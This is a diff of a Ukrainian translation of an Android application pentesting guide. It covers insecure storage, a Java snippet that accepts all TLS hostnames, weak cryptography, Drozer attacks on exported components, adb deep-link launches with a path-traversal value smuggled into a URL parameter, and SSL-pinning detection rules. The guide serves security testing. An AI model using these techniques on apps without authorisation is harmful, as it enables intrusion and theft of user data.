ваш додаток повинен отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок важливий для збереження цілісності безпеки вашого додатку. External storage можна **знайти** в `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру директорій, яка **обмежує доступ додатку до директорії, що призначена саме для цього додатку**. Це запобігає отриманню шкідливим додатком прав на читання або запис файлів іншого додатку. +> Починаючи з Android 4.4 (**API 17**), SD card має структуру директорій, яка **обмежує доступ додатку лише до директорії, призначеної конкретно для цього додатку**. Це перешкоджає шкідливим додаткам отримувати доступ для читання або запису до файлів іншого додатку. **Чутливі дані, збережені у відкритому тексті** -- **Shared preferences**: Android дозволяє кожному додатку зручно зберігати xml-файли в шляху `/data/data//shared_prefs/` і іноді можна знайти чутливу інформацію у відкритому вигляді в цій теці. -- **Databases**: Android дозволяє кожному додатку зручно зберігати sqlite databases в шляху `/data/data//databases/` і іноді можна знайти чутливу інформацію у відкритому вигляді в цій теці. +- **Shared preferences**: Android дозволяє кожному додатку зручно зберігати xml-файли в шляху `/data/data//shared_prefs/` і іноді в цій папці можна знайти чутливу інформацію у відкритому тексті. +- **Databases**: Android дозволяє кожному додатку зручно зберігати sqlite бази даних в шляху `/data/data//databases/` і іноді в цій папці можна знайти чутливу інформацію у відкритому тексті. ### Broken TLS **Accept All Certificates** -З якоїсь причини іноді розробники приймають усі сертифікати, навіть якщо, наприклад, hostname не відповідає, з рядками коду на кшталт наведеного нижче: +З якоїсь причини розробники іноді приймають усі сертифікати, навіть якщо, наприклад, hostname не збігається, з рядками коду на кшталт наступного: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +Хороший спосіб перевірити це — спробувати перехопити трафік за допомогою proxy, наприклад Burp, не авторизувавши Burp CA на пристрої. Також можна згенерувати в Burp сертифікат для іншого hostname і використати його. -### Неправильна криптографія +### Ненадійна криптографія -**Погане управління ключами** +**Недостатні процеси управління ключами** -Деякі розробники зберігають конфіденційні дані в локальному сховищі й шифрують їх ключем, жорстко захардкодженим/передбачуваним у коді. Так робити не слід, оскільки reversing може дозволити атаці витягти конфіденційну інформацію. +Деякі розробники зберігають чутливі дані в локальному сховищі і шифрують їх ключем, захардкоженим/передбачуваним у коді. Так робити не слід, оскільки деякий reversing може дозволити зловмисникам витягти конфіденційну інформацію. -**Використання небезпечних і/або застарілих алгоритмів** +**Використання небезпечних та/або застарілих алгоритмів** -Розробники не повинні використовувати **deprecated algorithms** для виконання authorisation **checks**, зберігання або відправки даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо, наприклад, для зберігання паролів використовуються **hashes**, слід застосовувати brute-force **resistant** hashes з salt. +Розробники не повинні використовувати **deprecated algorithms** для виконання авторизаційних **checks**, **store** або **send** даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо для збереження паролів, наприклад, використовуються **hashes**, слід застосовувати brute-force **resistant** hashes із salt. ### Інші перевірки -- Рекомендується **obfuscate the APK**, щоб ускладнити reverse engineer-ам роботу атакуючих. -- Якщо додаток чутливий (наприклад банківські додатки), він повинен виконувати власні перевірки, щоб визначити, чи mobile is rooted, і діяти відповідно. -- Якщо додаток чутливий (наприклад банківські додатки), він має перевіряти, чи використовується **emulator**. -- Якщо додаток чутливий (наприклад банківські додатки), він має перевіряти власну цілісність перед виконанням, щоб перевірити, чи не був змінений. +- Рекомендовано **obfuscate the APK**, щоб ускладнити reverse engineering для зловмисників. +- Якщо додаток чутливий (наприклад bank apps), він повинен виконувати власні перевірки, щоб з’ясувати, чи мобільний пристрій **is rooted**, і діяти відповідно. +- Якщо додаток чутливий (наприклад bank apps), він повинен перевіряти, чи використовується **emulator**. +- Якщо додаток чутливий (наприклад bank apps), він повинен **check it's own integrity before executing** щоб переконатися, що його не було змінено. - Використовуйте [**APKiD**](https://github.com/rednaga/APKiD) щоб перевірити, який compiler/packer/obfuscator був використаний для збірки APK -### Додатки React Native +### React Native Application -Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до javascript коду React додатків: +Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до javascript коду React застосунків: {{#ref}} react-native-application.md {{#endref}} -### Додатки Xamarin +### Xamarin Applications -Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до C# коду додатків Xamarin: +Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до C# коду xamarin застосунків: {{#ref}} @@ -197,17 +197,17 @@ react-native-application.md ### Superpacked Applications -Згідно з цим [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked — це Meta algorithm, який стискає вміст додатка в один файл. У блозі йдеться про можливість створити додаток, що розпаковує такого роду додатки... і про швидший спосіб, який полягає в **виконанні додатка і зборі розпакованих файлів із файлової системи.** +Згідно з цим [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked — це Meta алгоритм, який стискає вміст застосунку в один файл. Блог розповідає про можливість створити додаток, який розпаковує такого роду застосунки... і про швидший спосіб, який передбачає **execute the application and gather the decompressed files from the filesystem.** -### Автоматизований статичний аналіз коду +### Automated Static Code Analysis -Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **vulnerabilities** шляхом **scanning** **code** додатка. Цей інструмент містить набір **known sources** (що вказують інструменту **місця**, де **input** контролюється користувачем), **sinks** (що вказують **dangerous** **місця**, де шкідливий input користувача може завдати шкоди) та **rules**. Ці правила вказують **комбінації sources-sinks**, які позначають vulnerability. +Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатен знаходити **vulnerabilities** шляхом **scanning** **code** застосунку. Цей інструмент містить серію **known sources** (які вказують інструменту **places**, де **input** **controlled by the user**), **sinks** (які вказують інструменту **dangerous** **places**, де зловмисний користувацький ввід може завдати шкоди) та **rules**. Ці правила вказують **combination** **sources-sinks**, що означає вразливість. -Завдяки цьому **mariana-trench перевіряє код і знаходить можливі vulnerabilities.** +Завдяки цьому знанню, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -Додаток може містити secrets (API keys, passwords, hidden urls, subdomains...) всередині, які ви можете виявити. Ви можете використати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Застосунок може містити secrets (API keys, passwords, hidden urls, subdomains...) всередині, які ви можете виявити. Ви можете використати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -236,45 +236,45 @@ content-protocol.md ## Динамічний аналіз -> По‑перше, вам потрібне середовище, де можна встановити додаток і всі компоненти (Burp CA cert, Drozer і Frida головним чином). Тому настійно рекомендується rooted device (емулятор або реальний пристрій). +> По-перше, вам потрібне середовище, де ви можете встановити застосунок і все оточення (Burp CA cert, Drozer and Frida в основному). Тому настійно рекомендується використовувати rooted пристрій (емулятор чи ні). ### Онлайн динамічний аналіз -Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io/). Ця платформа дозволяє **upload** та **execute** APK, тому корисна для спостереження за поведінкою apk. +Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io/). Ця платформа дозволяє **upload** та **execute** APK, тому вона корисна, щоб побачити, як apk поводиться. -Ви навіть можете переглядати логи вашого додатку в вебі й підключатися через **adb**. +Ви навіть можете **see the logs of your application** в вебі та підключитися через **adb**. ![](<../../images/image (831).png>) -Завдяки ADB-з'єднанню ви можете використовувати **Drozer** та **Frida** в емуляторах. +Завдяки ADB з’єднанню ви можете використовувати **Drozer** та **Frida** всередині емулаторів. ### Локальний динамічний аналіз #### Використання емулятора -- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і, згідно з [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **latest x86** версії **support ARM libraries** без необхідності повільного arm емулятора). -- Дізнайтеся, як його налаштувати на цій сторінці: +- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і згідно з [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** версії **support ARM libraries** без потреби в повільному arm емуляторі). +- Дізнайтесь, як налаштувати це на цій сторінці: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, потрібно створити акаунт. _Рекомендується **download** версію **WITH**_ _**VirtualBox**, щоб уникнути потенційних помилок._) -- [**Nox**](https://es.bignox.com) (Безкоштовно, але не підтримує Frida або Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, потрібно створити акаунт. _Рекомендується **download** версію **WITH**_ _**VirtualBox** щоб уникнути потенційних помилок._) +- [**Nox**](https://es.bignox.com) (Free, але не підтримує Frida або Drozer). > [!TIP] -> Коли створюєте новий емулятор на будь‑якій платформі, пам’ятайте: чим більший екран, тим повільніше працюватиме емулятор. Тому по можливості обирайте менші екрани. +> Коли створюєте новий емулатор на будь-якій платформі, пам’ятайте, що чим більший екран, тим повільніше працюватиме емулятор. Тому за можливості обирайте менші екрани. -Щоб **install google services** (наприклад AppStore) в Genymotion, потрібно натиснути на червоного марковану кнопку на зображенні: +Щоб **install google services** (наприклад AppStore) в Genymotion, потрібно натиснути на червону кнопку, позначену на наступному зображенні: ![](<../../images/image (277).png>) -Також зверніть увагу, що в **configuration of the Android VM in Genymotion** можна вибрати **Bridge Network mode** (це буде корисно, якщо ви підключатиметесь до Android VM з іншої VM з інструментами). +Також зверніть увагу, що в **configuration of the Android VM in Genymotion** ви можете обрати **Bridge Network mode** (це буде корисно, якщо ви підключатиметесь до Android VM з іншої VM з інструментами). #### Використання фізичного пристрою -Потрібно активувати **debugging** опції, і бажано, щоб пристрій був **root**: +Вам потрібно активувати опції **debugging** і бажано, щоб ви могли його **root**: 1. **Settings**. 2. (FromAndroid 8.0) Select **System**. @@ -282,61 +282,63 @@ avd-android-virtual-device.md 4. Press **Build number** 7 times. 5. Go back and you will find the **Developer options**. -> Після встановлення додатку перше, що слід зробити — це спробувати його, дослідити, що він робить, як працює і звикнути до нього.\ -> Рекомендую виконати цю початкову динамічну перевірку з використанням MobSF dynamic analysis + pidcat, щоб ми могли **дізнатися, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше. +> Після встановлення застосунку перше, що ви повинні зробити — це спробувати його і дослідити, що він робить, як працює і звикнути до нього.\ +> Рекомендую **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, щоб ми могли **learn how the application works**, поки MobSF **captures** багато **interesting** **data**, які ви потім зможете переглянути. -Короткі нотатки про Magisk/Zygisk (рекомендується на Pixel-пристроях) -- Patch boot.img з використанням додатку Magisk і прошити через fastboot для отримання systemless root -- Увімкнути Zygisk + DenyList для приховування root; розгляньте LSPosed/Shamiko для більш потужного приховування -- Зберігайте оригінальний boot.img, щоб відновитися після OTA; повторно патчіть після кожного OTA -- Для віддзеркалення екрана використовуйте scrcpy на хості +Magisk/Zygisk quick notes (recommended on Pixel devices) +- Patch boot.img with the Magisk app and flash via fastboot to get systemless root +- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required +- Keep original boot.img to recover from OTA updates; re-patch after each OTA +- For screen mirroring, use scrcpy on the host -### Ненавмисні витоки даних + + +### Ненавмисний витік даних **Logging** -Розробникам слід бути обережними з публічним розголошенням **debugging information**, оскільки це може призвести до витоку чутливої інформації. Рекомендовано використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу логів додатку та виявлення/захисту чутливої інформації. **Pidcat** зручніший у використанні та більш читабельний. +Розробникам слід бути обережними з публічним виведенням **debugging information**, оскільки це може призвести до витоків чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів застосунку, щоб ідентифікувати та захистити чутливу інформацію. **Pidcat** віддають перевагу за його простоту використання та читабельність. > [!WARNING] -> Зауважте, що починаючи з **пізніших версій, ніж Android 4.0**, **додатки можуть отримувати доступ тільки до власних логів**. Тому додатки не можуть читати логи інших додатків.\ -> В будь‑якому випадку, все одно не рекомендовано логувати чутливу інформацію. +> Зауважте, що починаючи з **пізніших версій, новіших за Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних логів**. Тож додатки не можуть отримувати логи інших застосунків.\ +> Тим не менш, все ще рекомендовано **не логувати чутливу інформацію**. -**Кеш буфера копіювання/вставки** +**Copy/Paste Buffer Caching** -Android‑фреймворк на основі буфера обміну дозволяє функції copy-paste у додатках, проте є ризик, що **інші додатки** можуть отримати доступ до clipboard і, потенційно, викрити чутливі дані. Важливо вимикати функції copy/paste для чутливих секцій додатку, як-от дані кредитної картки, щоб запобігти витокам. +Android-фреймворк на основі буфера обміну (clipboard) забезпечує функціональність копіювання/вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **access** буфер обміну, потенційно розкриваючи чутливі дані. Важливо **disable copy/paste** функції для чутливих частин застосунку, наприклад деталей кредитної картки, щоб запобігти витокам даних. **Crash Logs** -Якщо додаток падає і зберігає логи, ці логи можуть допомогти атакуючим, особливо коли додаток важко відремонтувати реверсингом. Щоб зменшити ризик, уникайте логування на крашах, а якщо логи мають передаватися мережею — переконайтесь, що вони йдуть по SSL‑каналу. +Якщо застосунок **crashes** і **saves logs**, ці журнали можуть допомогти зловмисникам, особливо коли застосунок не можна відреференсувати. Щоб зменшити цей ризик, уникайте логування під час краху, і якщо журнали мають передаватися мережею, переконайтесь, що вони надсилаються через SSL-канал для безпеки. -Як pentester, **спробуйте подивитися ці логи**. +Як pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Додатки часто інтегрують сервіси на кшталт Google Adsense, які можуть ненавмисно **leak** чутливі дані через неправильне впровадження розробниками. Щоб виявити можливі витоки даних, рекомендовано **intercept the application's traffic** і перевірити, чи не надсилається чутлива інформація до third-party сервісів. +Додатки часто інтегрують сервіси на кшталт Google Adsense, які можуть ненавмисно **leak sensitive data** через неправильну реалізацію розробниками. Щоб виявити можливі витоки даних, варто **intercept the application's traffic** і перевірити, чи не надсилається чутлива інформація до third-party сервісів. ### SQLite DBs -Більшість додатків використовують **internal SQLite databases** для збереження інформації. Під час pentest перегляньте **databases**, імена **tables** і **columns** та всі **data**, що зберігається, оскільки ви можете знайти **sensitive information** (що буде вразливістю).\ +Більшість застосунків використовують **internal SQLite databases** для збереження інформації. Під час pentest перегляньте **databases**, назви **tables** і **columns** та всі **data**, що зберігається, оскільки ви можете знайти **sensitive information** (що буде вразливістю).\ Бази даних зазвичай знаходяться в `/data/data/the.package.name/databases`, наприклад `/data/data/com.mwr.example.sieve/databases` -Якщо база даних зберігає конфіденційну інформацію і вона **encrypted**, але ви можете **find** пароль у додатку — це все одно **vulnerability**. +Якщо база даних зберігає конфіденційну інформацію і вона **encrypted**, але ви можете **find** пароль всередині застосунку, це все одно **vulnerability**. -Перелічте таблиці за допомогою `.tables` і перелічте схему таблиці командою `.schema ` +Перелічіть таблиці за допомогою `.tables` і перераховуйте колонки таблиць командою `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -Згідно з [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **взяти на себе роль Android app** і взаємодіяти з іншими додатками. Він може робити **все, що може робити встановлений додаток**, наприклад використовувати Android’s Inter-Process Communication (IPC) та взаємодіяти з underlying operating system. .\ -Drozer — корисний інструмент для **експлуатації exported activities, exported services та Content Providers**, як ви дізнаєтесь у наступних розділах. +Згідно з [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **assume the role of an Android app** та взаємодіяти з іншими додатками. Він може робити **anything that an installed application can do**, наприклад використовувати Android’s Inter-Process Communication (IPC) механізм та взаємодіяти з підлягаючою операційною системою. .\ +Drozer — корисний інструмент для **exploit exported activities, exported services and Content Providers**, як ви дізнаєтесь у наступних розділах. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Також пам'ятайте, що код activity починається в методі **`onCreate`**. +Також пам’ятайте, що код activity починається в методі **`onCreate`**. **Authorisation bypass** -Коли Activity exported, ви можете викликати її екран з зовнішнього додатка. Якщо activity з **sensitive information** є **exported**, ви можете **bypass** механізми аутентифікації, щоб потрапити до неї. +Коли Activity є exported, ви можете викликати його екран з зовнішнього додатку. Тому, якщо activity з **sensitive information** є **exported**, ви можете **bypass** механізми **authentication**, щоб отримати доступ до нього. [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) @@ -347,70 +349,70 @@ Drozer — корисний інструмент для **експлуатаці ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**ПРИМІТКА**: MobSF визначатиме як шкідливе використання _**singleTask/singleInstance**_ як `android:launchMode` в activity, але через [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, це небезпечно лише на старих версіях (API versions < 21). +**ПРИМІТКА**: MobSF виявлятиме як шкідливе використання _**singleTask/singleInstance**_ як `android:launchMode` в activity, але через [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, це небезпечно лише на старих версіях (API versions < 21). > [!TIP] -> Зверніть увагу, що authorisation bypass не завжди є вразливістю — це залежатиме від того, як bypass працює і яка інформація розкривається. +> Зверніть увагу, що authorisation bypass не завжди є vulnerability, це залежить від того, як працює bypass і яка інформація стає доступною. **Sensitive information leakage** -Activities також можуть повертати результати. Якщо вам вдасться знайти exported і unprotected activity, яка викликає метод **`setResult`** і **повертає конфіденційну інформацію**, це призводить до витоку конфіденційної інформації. +**Activities can also return results**. Якщо вам вдасться знайти exported and unprotected activity, яка викликає метод **`setResult`** і **returning sensitive information**, це є sensitive information leakage. #### Tapjacking -Якщо tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити **користувача виконати непередбачені дії**. Для детальнішої інформації про [**what is Tapjacking follow the link**](#tapjacking). +Якщо Tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити **користувача виконати несподівані дії**. For more info about [**what is Tapjacking follow the link**](#tapjacking). -### Exploiting Content Providers - Доступ та маніпулювання конфіденційною інформацією +### Exploiting Content Providers - Доступ та маніпуляція sensitive information -[**Прочитайте це, якщо хочете освіжити уявлення про Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers здебільшого використовуються для **обміну даними**. Якщо додаток має доступні content providers, ви можете **витягти конфіденційні** дані з них. Також варто протестувати можливі **SQL injections** та **Path Traversals**, оскільки вони можуть бути вразливими. +[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers зазвичай використовуються для **share data**. Якщо в додатку є доступні content providers, можливо, ви зможете **extract sensitive** дані з них. Також варто протестувати можливі **SQL injections** і **Path Traversals**, оскільки вони можуть бути вразливими. -[**Дізнайтеся, як експлуатувати Content Providers за допомогою Drozer.**](drozer-tutorial/index.html#content-providers) +[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Прочитайте це, якщо хочете освіжити уявлення про Service.**](android-applications-basics.md#services)\ +[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ Пам'ятайте, що дії Service починаються в методі `onStartCommand`. -Service по суті може **отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо додаток експортує якісь services, слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** це **динамічно** для витягання конфіденційної інформації, обходу заходів авторизації тощо...\ -[**Дізнайтеся, як експлуатувати Services за допомогою Drozer.**](drozer-tutorial/index.html#services) +Service по суті — це те, що **can receive data**, **process** її і **returns** (або ні) відповідь. Отже, якщо додаток експортує якісь services, вам слід **check** **code**, щоб зрозуміти, що він робить, і **test** його **dynamically** для витягання конфіденційної інформації, обходу заходів автентифікації...\ +[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Прочитайте це, якщо хочете освіжити уявлення про Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`. -Broadcast receiver очікує певний тип повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\ -[**Дізнайтеся, як експлуатувати Broadcast Receivers за допомогою Drozer.**](#exploiting-broadcast-receivers) +Broadcast receiver чекатиме певного типу повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\ +[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Ви можете шукати deep links вручну, використовуючи інструменти на кшталт MobSF або скрипти, як-от [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Ви можете **відкрити** задекларований **scheme** за допомогою **adb** або **browser**: +You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Ви можете **відкрити** оголошену **scheme** за допомогою **adb** або **браузера**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Zверніть увагу, що ви можете **omit the package name**, і мобільний пристрій автоматично викличе додаток, який має відкрити це посилання._ +_Зверніть увагу, що ви можете **omit the package name**, і мобільний пристрій автоматично викличе app, який має відкрити це посилання._ ```html Click me with alternative ``` -**Код, що виконується** +**Code executed** -Щоб знайти **код, який виконуватиметься в додатку**, перейдіть до activity, викликаної deeplink, і знайдіть функцію **`onNewIntent`**. +Щоб знайти **code that will be executed in the App**, перейдіть до activity, що викликається deeplink, і знайдіть функцію **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Конфіденційні дані** +**Sensitive info** -Кожного разу, коли ви знаходите deep link, перевіряйте, що **вона не отримує конфіденційних даних (наприклад паролів) через URL-параметри**, оскільки будь-який інший додаток може **імітувати deep link і вкрасти ці дані!** +Кожного разу, коли ви знаходите deep link, перевіряйте, що **it's not receiving sensitive data (like passwords) via URL parameters**, бо будь-який інший додаток може **impersonate the deep link and steal that data!** -**Параметри в path** +**Parameters in path** -Ви **також повинні перевіряти, чи який-небудь deep link не використовує параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете змусити path traversal, звернувшись до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Зверніть увагу, що якщо ви знайдете правильні endpoints всередині застосунку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо можна змінити деталі користувача без CSRF token і вразливий endpoint використовував правильний метод) та інші вразливості. Більше [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Ви **must check also if any deep link is using a parameter inside the path** URL, наприклад: `https://api.example.com/v1/users/{username}`. У такому випадку ви можете спричинити path traversal, отримавши доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Зверніть увагу, що якщо ви знайдете правильні endpoints всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо можна змінити дані користувача без CSRF token і вразливий endpoint використовував правильний метод) та інші вразливості. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** @@ -418,34 +420,34 @@ An [interesting bug bounty report](https://hackerone.com/reports/855618) about l ### Transport Layer Inspection and Verification Failures -- **Certificates are not always inspected properly** у Android-додатках. Часто такі додатки ігнорують попередження і приймають self-signed certificates або, в деяких випадках, повертаються до використання HTTP-з’єднань. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, застосовуються ненадійні cipher suites. Ця вразливість робить з’єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи зловмисникам розшифрувати дані. -- **Leakage of private information** являє собою ризик, коли додатки автентифікуються через захищені канали, але потім для інших транзакцій використовують незахищені канали. Такий підхід не захищає конфіденційні дані, наприклад session cookies або деталі користувача, від перехоплення зловмисниками. +- **Certificates are not always inspected properly** додатками Android. Часто такі додатки ігнорують попередження і приймають self-signed certificates або в деяких випадках повертаються до HTTP-з’єднань. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, використовуються небезпечні cipher suites. Це робить з’єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи нападникам розшифровувати дані. +- **Leakage of private information** — ризик, коли додатки автентифікуються через secure channels, але потім виконують інші операції через non-secure channels. Такий підхід не захищає чутливі дані, як-от session cookies або user details, від перехоплення зловмисниками. #### Certificate Verification -Ми зосередимось на **certificate verification**. Необхідно перевіряти цілісність сертифіката сервера для підвищення безпеки. Це важливо, оскільки ненадійні TLS-конфігурації та передача конфіденційних даних по незашифрованих каналах можуть створювати серйозні ризики. Для детальних кроків щодо перевірки сертифікатів сервера та усунення вразливостей [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) надає вичерпні рекомендації. +Ми зосередимось на **certificate verification**. Необхідно перевіряти цілісність server's certificate для підвищення безпеки. Це критично, оскільки insecure TLS configurations і передача чутливих даних по незашифрованих каналах можуть створювати значні ризики. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance. #### SSL Pinning -SSL Pinning — це захід безпеки, коли додаток порівнює сертифікат сервера з відомою копією, збереженою всередині додатку. Цей метод є критичним для запобігання MITM-атак. Рекомендується реалізувати SSL Pinning для додатків, що оперують конфіденційною інформацією. +SSL Pinning — це механізм безпеки, коли додаток перевіряє server's certificate проти відомої копії, збереженої всередині додатку. Цей метод є важливим для запобігання MITM атак. Рекомендується впроваджувати SSL Pinning для додатків, що працюють з чутливою інформацією. #### Traffic Inspection -Щоб інспектувати HTTP-трафік, необхідно **встановити сертифікат proxy tool** (наприклад, Burp). Без встановлення цього сертифіката зашифрований трафік може бути невидимим через проксі. Для інструкції зі встановлення custom CA certificate дивіться [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Щоб інспектувати HTTP traffic, потрібно **install the proxy tool's certificate** (наприклад, Burp). Якщо цей сертифікат не встановлено, зашифрований трафік може бути невидимим через проксі. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Додатки, що таргетять **API Level 24 and above**, потребують змін у Network Security Config, щоб прийняти CA-сертифікат проксі. Це критичний крок для інспекції зашифрованого трафіку. Для інструкцій щодо зміни Network Security Config дивіться [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Додатки, що target **API Level 24 and above**, вимагають змін у Network Security Config, щоб приймати proxy's CA certificate. Це критичний крок для інспекції зашифрованого трафіку. Для інструкцій щодо модифікації Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Якщо використовується **Flutter**, потрібно слідувати інструкціям на [**this page**](flutter.md). Це тому, що просте додавання сертифіката в store не спрацює — Flutter має власний список валідних CA. +Якщо використовується **Flutter**, потрібно слідувати інструкціям на [**this page**](flutter.md). Це тому, що просте додавання сертифіката в store не спрацює — Flutter має свій власний список дійсних CAs. #### Static detection of SSL/TLS pinning -Перед спробами runtime bypasses швидко промапте, де всередині APK застосовується pinning. Статичне виявлення допомагає спланувати hooks/patches і зосередитись на потрібних кодових шляхах. +Перед спробами runtime bypasses швидко відобразіть, де саме в APK застосовано pinning. Static discovery допомагає спланувати hooks/patches і зосередитись на потрібних code paths. Tool: SSLPinDetect -- Open-source static-analysis utility, що декомпілює APK у Smali (через apktool) і сканує за підготовленими regex patterns реалізацій SSL/TLS pinning. +- Open-source static-analysis utility, що декомпілює APK у Smali (через apktool) і сканує за curated regex patterns реалізацій SSL/TLS pinning. - Reports exact file path, line number, and a code snippet for each match. -- Охоплює поширені frameworks та кастомні кодові шляхи: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, та Network Security Config XML pins. +- Охоплює поширені frameworks і кастомні code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. Install - Prereqs: Python >= 3.8, Java on PATH, apktool @@ -462,8 +464,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Приклад правил pattern (JSON) -Використовуйте або розширюйте signatures для виявлення пропрієтарних/власних стилів pinning. Ви можете завантажити власний JSON і scan at scale. +Приклад шаблонних правил (JSON) +Використовуйте або розширюйте signatures для виявлення proprietary/custom pinning styles. Ви можете завантажити власний JSON і сканувати в масштабі. ```json { "OkHttp Certificate Pinning": [ @@ -477,43 +479,43 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ] } ``` -Поради та підказки -- Швидке сканування великих додатків через мультипоточність та memory-mapped I/O; попередньо скомпільовані regex зменшують накладні витрати/помилкові спрацьовування. +Notes and tips +- Швидке сканування великих додатків через multi-threading та memory-mapped I/O; попередньо скомпільовані regex зменшують накладні витрати/хибні спрацьовування. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Типові цілі для подальшої 